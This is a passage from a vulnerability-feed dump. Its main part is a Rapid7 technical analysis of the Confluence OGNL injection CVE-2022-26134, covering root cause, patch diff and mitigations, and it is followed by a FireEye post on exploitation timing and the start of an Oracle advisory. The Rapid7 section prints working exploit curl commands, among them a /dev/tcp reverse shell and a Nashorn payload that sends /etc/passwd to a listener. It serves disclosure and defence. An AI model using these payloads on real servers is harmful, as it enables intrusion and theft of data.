suffered from a different unauthenticated and remote OGNL injection, [CVE-2021-26084](<https://www.rapid7.com/blog/post/2021/09/02/active-exploitation-of-confluence-server-cve-2021-26084/>). Organizations maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.\n\n### The vulnerability\n\nAs stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. \u201cBALH\u201d). In its simplest form, an exploit abusing the vulnerability looks like this:\n \n \n curl -v http://10.0.0.28:8090/%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/\n \n\nAbove, the exploit is URL-encoded. The exploit encompasses everything from the start of the content location to the last instance of `/`. Decoded it looks like this:\n \n \n ${@java.lang.Runtime@getRuntime().exec(\"touch /tmp/r7\")}\n \n\nEvidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file `/opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log` contains the following entry after exploitation:\n \n \n [02/Jun/2022:16:02:13 -0700] - http-nio-8090-exec-10 10.0.0.28 GET /%24%7B%40java.lang.Runtime%40getRuntime%28%29.exec%28%22touch%20/tmp/r7%22%29%7D/ HTTP/1.1 302 20ms - - curl/7.68.0\n \n\nScanning for vulnerable servers is easy because exploitation allows attackers to force the server to send command output in the HTTP response. For example, the following request will return the response of `whoami` in the attacker-created `X-Cmd-Response` HTTP field (credit to Rapid7\u2019s Brandon Turner for the exploit below). Note the `X-Cmd-Response: confluence` line in the HTTP response:\n \n \n curl -v http://10.0.0.28:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/\n * Trying 10.0.0.28:8090...\n * TCP_NODELAY set\n * Connected to 10.0.0.28 (10.0.0.28) port 8090 (#0)\n > GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1\n > Host: 10.0.0.28:8090\n > User-Agent: curl/7.68.0\n > Accept: */*\n > \n * Mark bundle as not supporting multiuse\n < HTTP/1.1 302 \n < Cache-Control: no-store\n < Expires: Thu, 01 Jan 1970 00:00:00 GMT\n < X-Confluence-Request-Time: 1654212503090\n < Set-Cookie: JSESSIONID=34154443DC363351DD0FE3D1EC3BEE01; Path=/; HttpOnly\n < X-XSS-Protection: 1; mode=block\n < X-Content-Type-Options: nosniff\n < X-Frame-Options: SAMEORIGIN\n < Content-Security-Policy: frame-ancestors 'self'\n < X-Cmd-Response: confluence \n < Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true\n < Content-Type: text/html;charset=UTF-8\n < Content-Length: 0\n < Date: Thu, 02 Jun 2022 23:28:23 GMT\n < \n * Connection #0 to host 10.0.0.28 left intact\n \n\nDecoding the exploit in the `curl` request shows how this is achieved. The exploit saves the output of the `exec` call and uses `setHeader` to include the result in the server\u2019s response to the attacker.\n \n \n ${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(\"whoami\").getInputStream(),\"utf-8\")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(\"X-Cmd-Response\",#a))}\n \n\n### Root cause\n\nOur investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from `HttpServlet.service` to `OgnlValueStack.findValue` and beyond.\n \n \n at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:171)\n at ognl.SimpleNode.getValue(SimpleNode.java:193)\n at ognl.Ognl.getValue(Ognl.java:333)\n at ognl.Ognl.getValue(Ognl.java:310)A\n at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)\n at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)\n at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)\n at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)\n at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61)\n at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)\n at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)\n at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)\n at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)\n at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)\n at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)\n at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)\n \n\n`OgnlValueStack` [findValue(str)](<https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/ognl/OgnlValueStack.html#findValue-java.lang.String->) is important as it is the starting point for the OGNL expression to be evaluated. As we can see in the call stack above, `TextParseUtil.class` invokes `OgnlValueStack.findValue` when this vulnerability is exploited.\n \n \n public class TextParseUtil {\n public static String translateVariables(String expression, OgnlValueStack stack) {\n StringBuilder sb = new StringBuilder();\n Pattern p = Pattern.compile(\"\\\\$\\\\{([^}]*)\\\\}\");\n Matcher m = p.matcher(expression);\n int previous = 0;\n while (m.find()) {\n String str1, g = m.group(1);\n int start = m.start();\n try {\n Object o = stack.findValue(g);\n str1 = (o == null) ? \"\" : o.toString();\n } catch (Exception ignored) {\n str1 = \"\";\n } \n sb.append(expression.substring(previous, start)).append(str1);\n previous = m.end();\n } \n if (previous < expression.length())\n sb.append(expression.substring(previous)); \n return sb.toString();\n }\n }\n \n\n`ActionChainResult.class` calls `TextParseUtil.translateVariables` using `this.namespace` as the provided expression:\n \n \n public void execute(ActionInvocation invocation) throws Exception {\n if (this.namespace == null)\n this.namespace = invocation.getProxy().getNamespace(); \n OgnlValueStack stack = ActionContext.getContext().getValueStack();\n String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);\n String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);\n \n\nWhere `namespace` is created from the request URI string in `com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespaceFromServletPath`:\n \n \n public static String getNamespaceFromServletPath(String servletPath) {\n servletPath = servletPath.substring(0, servletPath.lastIndexOf(\"/\"));\n return servletPath;\n }\n \n\nThe result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to [CVE-2018-11776](<https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts2_namespace_ognl.rb>), the Apache Struts2 namespace OGNL injection vulnerability. Just a reminder that there is nothing new in this world.\n\n### The patch\n\nOn June 3, 2022, Atlassian directed customers to replace `xwork-1.0.3.6.jar` with a newly released `xwork-1.0.3-atlassian-10.jar`. The xwork jars contain the `ActionChainResult.class` and `TextParseUtil.class` we identified as the path to OGNL expression evaluation.\n\nThe patch makes a number of small changes to fix this issue. For one, `namespace` is no longer passed down to `TextParseUtil.translateVariables` from `ActionChainResult.execute`:\n\n**Before:**\n \n \n public void execute(ActionInvocation invocation) throws Exception {\n if (this.namespace == null)\n this.namespace = invocation.getProxy().getNamespace(); \n OgnlValueStack stack = ActionContext.getContext().getValueStack();\n String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);\n String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);\n \n\n**After:**\n \n \n public void execute(ActionInvocation invocation) throws Exception {\n if (this.namespace == null)\n this.namespace = invocation.getProxy().getNamespace(); \n String finalNamespace = this.namespace;\n String finalActionName = this.actionName;\n \n\nAtlassian also added `SafeExpressionUtil.class` to the `xworks` jar. `SafeExpressionUtil.class` provides filtering of unsafe expressions and has been inserted into `OgnlValueStack.class` in order to examine expressions when `findValue` is invoked. For example:\n \n \n public Object findValue(String expr) {\n try {\n if (expr == null)\n return null; \n if (!this.safeExpressionUtil.isSafeExpression(expr))\n return null; \n if (this.overrides != null && this.overrides.containsKey(expr))\n \n\n### Payloads\n\nThe OGNL injection primitive gives attackers many options. Volexity\u2019s excellent **[Zero-Day Exploitation of Atlassian Confluence](<https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/>)** discusses JSP webshells being dropped to disk. However, Confluence Server should typically execute as `confluence` and not `root`. The `confluence` user is fairly restricted and unable to introduce web shells (to our knowledge).\n\nJava does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It\u2019s impossible to demonstrate all here, but a reverse shell routed through Java\u2019s [Nashorn](<https://docs.oracle.com/javase/10/nashorn/introduction.htm#JSNUG136>) engine is, perhaps, an interesting place for others to explore.\n \n \n curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22new%20java.lang.ProcessBuilder%28%29.command%28%27bash%27%2C%27-c%27%2C%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.28/1270%200%3E%261%27%29.start%28%29%22%29%7D/\n \n\nDecoded, the exploit looks like the following:\n \n \n ${new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/10.0.0.28/1270 0>&1').start()\")}\n \n\nAnd results in a reverse shell:\n \n \n albinolobster@ubuntu:~$ nc -lvnp 1270\n Listening on 0.0.0.0 1270\n Connection received on 10.0.0.28 37148\n bash: cannot set terminal process group (34470): Inappropriate ioctl for device\n bash: no job control in this shell\n bash: /root/.bashrc: Permission denied\n confluence@ubuntu:/opt/atlassian/confluence/bin$ id\n id\n uid=1001(confluence) gid=1002(confluence) groups=1002(confluence)\n confluence@ubuntu:/opt/atlassian/confluence/bin$\n \n\nOf course, shelling out can be highly risky for attackers if the victim is running some type of threat detection software. Executing in memory only is least likely to get an attacker caught. As an example, we put together a simple exploit that will read `/etc/passwd` and exfiltrate it to the attacker without shelling out.\n \n \n curl -v http://10.0.0.28:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29.getEngineByName%28%22nashorn%22%29.eval%28%22var%20data%20%3D%20new%20java.lang.String%28java.nio.file.Files.readAllBytes%28java.nio.file.Paths.get%28%27/etc/passwd%27%29%29%29%3Bvar%20sock%20%3D%20new%20java.net.Socket%28%2710.0.0.28%27%2C%201270%29%3B%20var%20output%20%3D%20new%20java.io.BufferedWriter%28new%20java.io.OutputStreamWriter%28sock.getOutputStream%28%29%29%29%3B%20output.write%28data%29%3B%20output.flush%28%29%3B%20sock.close%28%29%3B%22%29%7D/\n \n\nWhen decoded, the reader can see that we again have relied on the Nashorn scripting engine.\n \n \n ${new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"var data = new java.lang.String(java.nio.file.Files.readAllBytes(java.nio.file.Paths.get('/etc/passwd')));var sock = new java.net.Socket('10.0.0.28', 1270); var output = new java.io.BufferedWriter(new java.io.OutputStreamWriter(sock.getOutputStream())); output.write(data); output.flush(); sock.close();\")}\n \n\nAgain, the attacker is listening for the exfiltration which looks, as you\u2019d expect, like `/etc/passd`:\n \n \n albinolobster@ubuntu:~$ nc -lvnp 1270\n Listening on 0.0.0.0 1270\n Connection received on 10.0.0.28 37162\n root:x:0:0:root:/root:/bin/bash\n daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n bin:x:2:2:bin:/bin:/usr/sbin/nologin\n sys:x:3:3:sys:/dev:/usr/sbin/nologin\n sync:x:4:65534:sync:/bin:/bin/sync\n games:x:5:60:games:/usr/games:/usr/sbin/nologin\n man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n \u2026 truncated \u2026\n \n\nFinally, note that the exploit could be entirely URI-encoded as well. Writing any type of detection logic that relies on **just** the ASCII form will be quickly bypassed.\n\n## Mitigation guidance\n\nAtlassian released patches for CVE-2022-26134 on June 3, 2022. A full list of fixed versions is available in the [advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). A temporary workaround for CVE-2022-26134 is also available\u2014note that the workaround must be manually applied. Detailed instructions are [available in Atlassian's advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.\n\nOrganizations should install patches OR apply the workaround on an **emergency basis**. If you are unable to mitigate the vulnerability for any version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately. We recommend that all organizations consider implementing IP address safelisting rules to restrict access to Confluence.\n\nIf you are unable to apply safelist IP rules to your Confluence server, consider adding WAF protection. Based on the details published so far, we recommend adding Java deserialization rules that defend against RCE injection vulnerabilities, such as CVE-2021-26084. For example, see the `JavaDeserializationRCE_BODY`, `JavaDeserializationRCE_URI`, `JavaDeserializationRCE_QUERYSTRING`, and `JavaDeserializationRCE_HEADER` rules described [here](<https://docs.aws.amazon.com/waf/latest/developerguide/aws-managed-rule-groups-baseline.html#aws-managed-rule-groups-baseline-known-bad-inputs>).\n\n## Rapid7 customers\n\n**InsightVM and Nexpose:** Customers can assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks as of June 3, 2022:\n\n * A remote check (atlassian-confluence-cve-2022-26134-remote) available in the 3:30 PM EDT content-only release on June 3\n * A remote _version_ check (atlassian-confluence-cve-2022-26134) available in the 9 PM EDT content-only release on June 3\n\n**InsightIDR:** Customers should look for alerts generated by InsightIDR's built-in detection rules from systems monitored by the Insight Agent. Alerts generated by the following rules may be indicative of related malicious activity:\n\n * Confluence Java App Launching Processes\n\nThe Rapid7 MDR (Managed Detection & Response) SOC is monitoring for this activity and will escalate confirmed malicious activity to managed customers immediately.\n\n**tCell:** Customers leveraging the Java App Server Agent can protect themselves from exploitation by using the OS Commands block capability. For customers leveraging a Web Server Agent, we recommend creating a block rule for any url path starting with `${` or `%24%7B`.\n\n## Updates\n\n**June 3, 2022 11:20 AM EDT:** This blog has been updated to reflect that all supported versions of Confluence Server and Confluence Data Center are affected, and it's likely that **all versions** (including LTS and unsupported) are affected, but Atlassian has not yet determined the earliest vulnerable version.\n\n**June 3, 2022 11:45 AM EDT:** Atlassian has released a temporary workaround for CVE-2022-26134. The workaround must be manually applied. Detailed instructions are [available in Atlassian's advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>) for applying the workaround to Confluence Server and Data Center 7.15.0-7.18.0 and 7.0.0-7.14.2.\n\n**June 3, 2022 1:15 PM EDT:** Atlassian has released patches for CVE-2022-26134. A full list of fixed versions is [available in their advisory](<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>). Rapid7 recommends applying patches OR the temporary workaround (manual) on an **emergency basis.**\n\n**June 3, 2022 3:15 PM EDT:** A full technical analysis of CVE-2022-26134 has been added to this blog to aid security practitioners in understanding and prioritizing this vulnerability. A vulnerability check for InsightVM and Nexpose customers is in active development with a release targeted for this afternoon.\n\n**June 3, 2022 3:30 PM EDT:** InsightVM and Nexpose customers can assess their exposure to CVE-2022-26134 with a remote vulnerability check in today's (June 3, 2022) content release.\n\n**June 6, 2022 10 AM EDT:** A second content release went out the evening of Friday, June 3 containing a remote version check for CVE-2022-26134. This means InsightVM and Nexpose customers are able to assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks.\n\nAttacker activity targeting on-premise instances of Confluence Server and Confluence Data Center has continued to increase. Organizations that have not yet applied the patch or the workaround should **assume compromise** and activate incident response protocols in addition to remediating CVE-2022-26134 on an emergency basis.\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-06-02T23:27:15", "type": "rapid7blog", "title": "Active Exploitation of Confluence CVE-2022-26134", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776", "CVE-2021-26084", "CVE-2022-26134", "CVE-2022-26314"], "modified": "2022-06-02T23:27:15", "id": "RAPID7BLOG:396ACAA896DDC62391C1F6CBEDA04085", "href": "https://blog.rapid7.com/2022/06/02/active-exploitation-of-confluence-cve-2022-26134/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "fireeye": [{"lastseen": "2021-10-30T08:30:35", "description": "_One of the critical strategic and tactical roles that cyber threat intelligence (CTI) plays is in the tracking, analysis, and prioritization of software vulnerabilities that could potentially put an organization\u2019s data, employees and customers at risk. In this four-part blog series, FireEye Mandiant Threat Intelligence highlights the value of CTI in enabling vulnerability management, and unveils new research into the latest threats, trends and recommendations. Check out our first post on zero-day vulnerabilities._\n\nAttackers are in a constant race to exploit newly discovered vulnerabilities before defenders have a chance to respond. FireEye Mandiant Threat Intelligence research into vulnerabilities exploited in 2018 and 2019 suggests that the majority of exploitation in the wild occurs before patch issuance or within a few days of a patch becoming available.\n\nFigure 1: Percentage of vulnerabilities exploited at various times in relation to patch release\n\nFireEye Mandiant Threat Intelligence analyzed 60 vulnerabilities that were either exploited or assigned a CVE number between Q1 2018 to Q3 2019. The majority of vulnerabilities were exploited as zero-days \u2013 before a patch was available. More than a quarter were exploited within one month after the patch date. Figure 2 illustrates the number of days between when a patch was made available and the first observed exploitation date for each vulnerability.\n\nWe believe these numbers to be conservative estimates, as we relied on the first reported exploitation of a vulnerability linked to a specific date. Frequently, first exploitation dates are not publicly disclosed. It is also likely that in some cases exploitation occurred without being discovered before researchers recorded exploitation attached to a certain date.\n\nFigure 2: Time between vulnerability exploitation and patch issuance\n\n\u00ad_Time Between Disclosure and Patch Release_\n\nThe average time between disclosure and patch availability was approximately 9 days. This average is slightly inflated by vulnerabilities such as CVE-2019-0863, a Microsoft Windows server vulnerability, which was disclosed in December 2018 and not patched until 5 months later in May 2019. The majority of these vulnerabilities, however, were patched quickly after disclosure. In 59% of cases, a patch was released on the same day the vulnerability was disclosed. These metrics, in combination with the observed swiftness of adversary exploitation activity, highlight the importance of responsible disclosure, as it may provide defenders with the slim window needed to successfully patch vulnerable systems.\n\n_Exploitation After Patch Release_\n\nWhile the majority of the observed vulnerabilities were zero-days, 42 percent of vulnerabilities were exploited after a patch had been released. For these non-zero-day vulnerabilities, there was a very small window (often only hours or a few days) between when the patch was released and the first observed instance of attacker exploitation. Table 1 provides some insight into the race between attackers attempting to exploit vulnerable software and organizations attempting to deploy the patch.\n\n**Time to Exploit for Vulnerabilities First Exploited after a Patch** \n \n--- \n \nHours\n\n| \n\nTwo vulnerabilities were successfully exploited within hours of a patch release, CVE-2018-2628 and CVE-2018-7602. \n \nDays\n\n| \n\n12 percent of vulnerabilities were exploited within the first week following the patch release. \n \nOne Month\n\n| \n\n15 percent of vulnerabilities were exploited after one week but within one month of patch release. \n \nYears\n\n| \n\nIn multiple cases, such as the first observed exploitation of CVE-2010-1871 and CVE-2012-0874 in 2019, attackers exploited vulnerabilities for which a patch had been made available many years prior. \n \nTable 1: Exploitation timing for patched vulnerabilities ranges from within hours of patch issuance to years after initial disclosure\n\n#### Case Studies\n\nWe continue to observe espionage and financially motivated groups quickly leveraging publicly disclosed vulnerabilities in their operations. The following examples demonstrate the speed with which sophisticated groups are able to incorporate vulnerabilities into their toolsets following public disclosure and the fact that multiple disparate groups have repeatedly leveraged the same vulnerabilities in independent campaigns. Successful operations by these types of groups are likely to have a high potential impact.\n\nFigure 3: Timeline of activity for CVE-2018-15982\n\nCVE-2018-15982: A use after free vulnerability in a file package in Adobe Flash Player 31.0.0.153 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. This vulnerability was exploited by espionage groups\u2014Russia's APT28 and North Korea's APT37\u2014as well as TEMP.MetaStrike and other financially motivated attackers.\n\nFigure 4: Timeline of activity for CVE-2018-20250\n\nCVE-2018-20250: A path traversal vulnerability exists within the ACE format in the archiver tool WinRAR versions 5.61 and earlier that, when exploited, allows an attacker to locally execute arbitrary code. This vulnerability was exploited by multiple espionage groups, including Chinese, North Korean, and Russian, groups, as well as Iranian groups APT33 and TEMP.Zagros.\n\nFigure 5: Timeline of Activity for CVE-2018-4878\n\nCVE-2018-4878: A use after free vulnerability exists within the DRMManager\u2019s \u201cinitialize\u201d call in Adobe Flash Player 28.0.0.137 and earlier that, when exploited, allows an attacker to remotely execute arbitrary code. Mandiant Intelligence confirmed that North Korea\u2019s APT37 exploited this vulnerability as a zero-day as early as September 3, 2017. Within 8 days of disclosure, we observed Russia\u2019s APT28 also leverage this vulnerability, with financially motivated attackers and North Korea\u2019s TEMP.Hermit also using within approximately a month of disclosure.\n\n#### Availability of PoC or Exploit Code\n\nThe availability of POC or exploit code on its own does not always increase the probability or speed of exploitation. However, we believe that POC code likely hastens exploitation attempts for vulnerabilities that do not require user interaction. For vulnerabilities that have already been exploited, the subsequent introduction of publicly available exploit or POC code indicates malicious actor interest and makes exploitation accessible to a wider range of attackers. There were a number of cases in which certain vulnerabilities were exploited on a large scale within 48 hours of PoC or exploit code availability (Table 2).\n\n**Time Between PoC or Exploit Code Publication and First Observed Potential Exploitation Events**\n\n| \n\n**Product**\n\n| \n\n**CVE**\n\n| \n\n**FireEye Risk Rating** \n \n---|---|---|--- \n \n1 day\n\n| \n\nWinRAR\n\n| \n\nCVE-2018-20250\n\n| \n\nMedium \n \n1 day\n\n| \n\nDrupal\n\n| \n\nCVE-2018-7600\n\n| \n\nHigh \n \n1 day\n\n| \n\nCisco Adaptive Security Appliance\n\n| \n\nCVE-2018-0296\n\n| \n\nMedium \n \n2 days\n\n| \n\nApache Struts\n\n| \n\nCVE-2018-11776\n\n| \n\nHigh \n \n2 days\n\n| \n\nCisco Adaptive Security Appliance\n\n| \n\nCVE-2018-0101\n\n| \n\nHigh \n \n2 days\n\n| \n\nOracle WebLogic Server\n\n| \n\nCVE-2018-2893\n\n| \n\nHigh \n \n2 days\n\n| \n\nMicrosoft Windows Server\n\n| \n\nCVE-2018-8440\n\n| \n\nMedium \n \n2 days\n\n| \n\nDrupal\n\n| \n\nCVE-2019-6340\n\n| \n\nMedium \n \n2 days\n\n| \n\nAtlassian Confluence\n\n| \n\nCVE-2019-3396\n\n| \n\nHigh \n \nTable 2: Vulnerabilities exploited within two days of either PoC or exploit code being made publicly available, Q1 2018\u2013Q3 2019\n\n#### Trends by Targeted Products\n\nFireEye judges that malicious actors are likely to most frequently leverage vulnerabilities based on a variety of factors that influence the utility of different vulnerabilities to their specific operations. For instance, we believe that attackers are most likely to target the most widely used products (see Figure 6). Attackers almost certainly also consider the cost and availability of an exploit for a specific vulnerability, the perceived success rate based on the delivery method, security measures introduced by vendors, and user awareness around certain products.\n\nThe majority of observed vulnerabilities were for Microsoft products, likely due to the ubiquity of Microsoft offerings. In particular, vulnerabilities in software such as Microsoft Office Suite may be appealing to malicious actors based on the utility of email attached documents as initial infection vectors in phishing campaigns.\n\nFigure 6: Exploited vulnerabilities by vendor, Q1 2018\u2013Q3 2019\n\n#### Outlook and Implications\n\nThe speed with which attackers exploit patched vulnerabilities emphasizes the importance of patching as quickly as possible. With the sheer quantity of vulnerabilities disclosed each year, however, it can be difficult for organizations with limited resources and business constraints to implement an effective strategy for prioritizing the most dangerous vulnerabilities. In upcoming blog posts, FireEye Mandiant Threat Intelligence describes our approach to vulnerability risk rating as well as strategies for making informed and realistic patch management decisions in more detail.\n\nWe recommend using this exploitation trend information to better prioritize patching schedules in combination with other factors, such as known active threats to an organization's industry and geopolitical context, the availability of exploit and PoC code, commonly impacted vendors, and how widely software is deployed in an organization's environment may help to mitigate the risk of a large portion of malicious activity.\n\nRegister today to hear FireEye Mandiant Threat Intelligence experts discuss the latest in [vulnerability threats, trends and recommendations](<https://www.brighttalk.com/webcast/7451/392772>) in our upcoming April 30 webinar.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 6.0}, "published": "2020-04-13T00:00:00", "type": "fireeye", "title": "Think Fast: Time Between Disclosure, Patch Release and Vulnerability Exploitation \u2014 Intelligence for Vulnerability Management, Part Two", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2012-0874", "CVE-2018-0101", "CVE-2018-0296", "CVE-2018-11776", "CVE-2018-15982", "CVE-2018-20250", "CVE-2018-2628", "CVE-2018-2893", "CVE-2018-4878", "CVE-2018-7600", "CVE-2018-7602", "CVE-2018-8440", "CVE-2019-0863", "CVE-2019-3396", "CVE-2019-6340"], "modified": "2020-04-13T00:00:00", "id": "FIREEYE:3CF3A3DF17A5FD20D5E05C24F6DBC54B", "href": "https://www.fireeye.com/blog/threat-research/2020/04/time-between-disclosure-patch-release-and-vulnerability-exploitation.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "oracle": [{"lastseen": "2023-12-02T20:10:49", "description": "A Critical Patch Update is a collection of patches for multiple security vulnerabilities. Critical Patch Update patches are usually cumulative, but each advisory describes only the security fixes added since the previous Critical Patch Update advisory. Thus, prior Critical Patch Update advisories should be reviewed for information regarding earlier published security fixes. Please refer to:\n\n * Critical Patch Updates, Security Alerts and Bulletins for information about Oracle Security Advisories.\n\n**Oracle continues to periodically receive reports of attempts to maliciously exploit vulnerabilities for which Oracle has already released fixes. In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches. Oracle therefore strongly recommends that customers remain on actively-supported versions and apply Critical Patch Update fixes without delay.**\n\nThis Critical Patch Update contains 284 new security fixes across the product families listed below. Please note that an MOS note summarizing 